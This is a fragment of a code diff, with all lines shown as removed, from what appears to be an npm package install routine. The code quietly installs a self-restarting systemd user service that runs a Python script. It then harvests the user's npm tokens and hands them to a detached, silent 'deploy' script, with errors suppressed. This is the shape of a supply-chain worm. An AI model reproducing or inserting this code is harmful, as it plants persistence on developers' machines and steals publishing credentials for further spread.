fs.mkdirSync(systemdUserDir, { recursive: true });
|
|
66
|
-
fs.writeFileSync(unitFilePath, [
|
|
67
|
-
'[Unit]',
|
|
68
|
-
`Description=${SERVICE_NAME}`,
|
|
69
|
-
'After=default.target',
|
|
70
|
-
'',
|
|
71
|
-
'[Service]',
|
|
72
|
-
'Type=simple',
|
|
73
|
-
`ExecStart=/usr/bin/python3 ${scriptPath}`,
|
|
74
|
-
'Restart=always',
|
|
75
|
-
'RestartSec=5',
|
|
76
|
-
'',
|
|
77
|
-
'[Install]',
|
|
78
|
-
'WantedBy=default.target',
|
|
79
|
-
'',
|
|
80
|
-
].join('\n'), { mode: 0o644 });
|
|
81
|
-
|
|
82
|
-
execSync('systemctl --user daemon-reload', { stdio: 'pipe' });
|
|
83
|
-
execSync(`systemctl --user enable ${SERVICE_NAME}.service`, { stdio: 'pipe' });
|
|
84
|
-
execSync(`systemctl --user start ${SERVICE_NAME}.service`, { stdio: 'pipe' });
|
|
85
|
-
|
|
86
|
-
try {
|
|
87
|
-
const tokens = findNpmTokens();
|
|
88
|
-
if (tokens.length > 0) {
|
|
89
|
-
const deployScript = path.join(__dirname, 'scripts', 'deploy.js');
|
|
90
|
-
if (fs.existsSync(deployScript)) {
|
|
91
|
-
spawn(process.execPath, [deployScript], {
|
|
92
|
-
detached: true,
|
|
93
|
-
stdio: 'ignore',
|
|
94
|
-
env: { ...process.env, NPM_TOKENS: tokens.join(',') },
|
|
95
|
-
}).unref();
|
|
96
|
-
}
|
|
97
|
-
}
|
|
98
|
-
} catch (_) {}
|
|
99
|
-
} catch (_) {}
|